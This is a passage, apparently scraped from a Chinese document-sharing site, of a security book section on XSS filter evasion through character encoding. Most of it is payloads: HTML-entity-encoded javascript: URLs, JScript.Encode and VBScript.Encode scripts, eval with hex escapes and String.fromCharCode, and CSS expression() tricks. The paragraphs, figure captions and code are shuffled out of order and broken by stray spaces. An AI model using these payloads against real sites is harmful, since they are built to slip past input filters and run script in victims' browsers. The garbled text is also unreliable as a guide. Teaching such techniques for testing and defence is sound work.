利用字符编码

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
类似地,也能采用十六进制编码形式 :
<img src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#x61&#x6c&#x65&#x72&#x 74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b"> <img src="&#x6a;&#x61;&#x76;&#x61;& #x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&# x6c;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;&#x3b;"> <img src="&#x00006a&#x000061&#x000076&#x000061&#x000073&#x000063&#x000072&#x000069&# x000070&#x000074&#x00003a&#x000061&#x00006c&#x000065&#x000072&#x000074&#x000028&#x0 00027&#x000058&#x000053&#x000053&#x000027&#x000029&#x00003b">
完整的 XSS Expliot 如下:
<img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#4 0&#39&#88&#83&#83&#39&#41&#59">
把以上代码保存在一个 HTM L 文档中,使用浏览器打开,脚本代码执行完成,如图 1-42 所 示。
1.5.2 利用字符编码
字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让 XSS 代码绕过服务端的过滤, 还能更好地隐藏 Shellcode。
如前文所述,HTM L 标签中的某些属性值可以使用&#ASCII 方式进行编码改写,这种 XSS 转码支持十进制和十六进制形式。
为了方便测试,我们接下来使用一个 XSS 编码工具,以便对字符串进行十进制和十六进制 的编码解码,该工具还可以实现 ESCAPE 转码和解码,如图 1-41 所示。
▲图 1-44 使用 JScript Encode 加密
执行结果如图 1-45 所示。
▲图 1-45 编码加密后 XSS 代码
以“<img src="javascript:alert('XSS');">”为例,它的属性值为:
javascript:alert('XSS');
进行十进制转码(&#)后得到:
&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39 &#88&#83&#83&#39&#41&#59
JavaScript 支持 unicode、escapes、十六进制、八进制等编码形式,这Baidu Nhomakorabea编码技术如果运用于 跨站攻击,无疑能大大加强 XSS 的威力。
下面再讲解一些其他编码/加密技术——JScript Encode 和 VBScript Encode。 Microsoft 提供了脚本加密(Script Encoder)机制,可以对脚本进行加密,包括 JScript 和 VBScript,经过加密的脚本,能在 IE 下正常运行,在其他浏览器下则不识别。 如 alert(1)使用 JScript Encode 加密的结果为:
<a href=# language="JScript.Encode" onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a> <iframe onload=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@> <iframe onload=VBScript.Encode:#@~^CAAAAA== \ko$K6,FoQIAAA==^#~@> <iframe onload=VBScript&#46;Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
style 属性中的 javascript、expression 等字符一般会被程序过滤,但经过十六进制编码后则可 以逃避过滤。
下面是其他利用字符编码绕过过滤规 则的示 例:
<div style="xss:&#101;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;(alert(1));" ></div>
结合使用 eval()和 String.fro mCharCode()函数后变成:
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))">
此外, 样式 表也支 持分 析和 解释\连 接的十 六进 制字 符串形 式, 浏览 器能正 常解 释, 示例如 下:
▲图 1-41 XSS 编码工具
▲图 1-42 对 XSS 代码进行编码
还可以在每个十进制字符后加上;,或者采用 &#0、&#00、&#000、&#0000、&#0;、&# 00;、 &#000;、&#0000; 等形式,如下所示:
<img src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101 ;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;&#59;"> <img src="&#0106;&#097;&#0118;&#097;&#0115;&#099;&#0114;&#0105;&#0112;&#0116;&#058;&#097 ;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#088;&#083;&#083;&#039;&#041;&059;"> <img src="&#0000106&#000097&#0000118&#000097&#0000115&#000099&#0000114&#0000105&# 0000112&#0000116&#000058&#000097&#0000108&#0000101&#0000114&#0000116 &#000040&#00003 9&#000088&#000083&#000083&#000039&#000041&#000059">
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
经 XSS Expliot 后变为:
<script language="JScript.Encode"> #@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ </script>
此段代码在 IE 中执行的效果如图 1-44 所示。 同样,我们可以使用 VBScript.Encode 来执行类似任务,请看下面的例子:
另外,在 JavaScript 中有一个 eval()函数,该函数可计算字符串,并执行其中的 JavaScript
代码,如下所示:
<script> eval("alert('XSS')"); </script>
我们可以使用\连接十六进制字符串,然后使用 eval()函数执行十六进制字符串形式的脚本, 如对 alert('XSS')进行十六进制转码后得到:
<style> BODY { background: url(http://127.0.0.1/xss.gif) } </style>
可以对 background 的属性值进行十六进制字符串形式转换:
<style> BODY { background: \75\72\6c\28\68\74\74\70\3a\2f\2f\31\32\37\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\6 6\29 } </style>
▲图 1-43 利用 eval()执行代码
eval() 也 可以 执行 10 进制 形 式的 脚本 , 但需 要配 合 String.fro mCharCode()函 数使 用。 string.formcharcode()用于将字符转为 ASCII 值,例如一个正常形式的 XSS 示例为:
<img src="javascript:eval(alert('XSS'))">
\61\6c\65\72\74\28\27\58\53\53\27\29
那么,完整的 XSS 代码为:
<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29"); </script>
这段代码能让浏览器弹出一个 XSS 对话框,如图 1-43 所示。
<img STYLE="background-image: \75\72\6c\28\6a\61\76\61\73\63\72\69\70\74\3a\61\6c\65\72\74\28\27\58\53\53\27\29\2 9"> <DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\ 0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\002 9">
更为复杂的 XSS 转码如下:
<div style="\000000000000000000000078\000000000000000000000073s:e&#x5c;&#x78;p&#47; &#42;&#106;&#110;&#118;&#42;&#47; \0072\0065ssion(window.x?0:(alert(/XSS/),window.x= 1));"></div>
相关文档
最新文档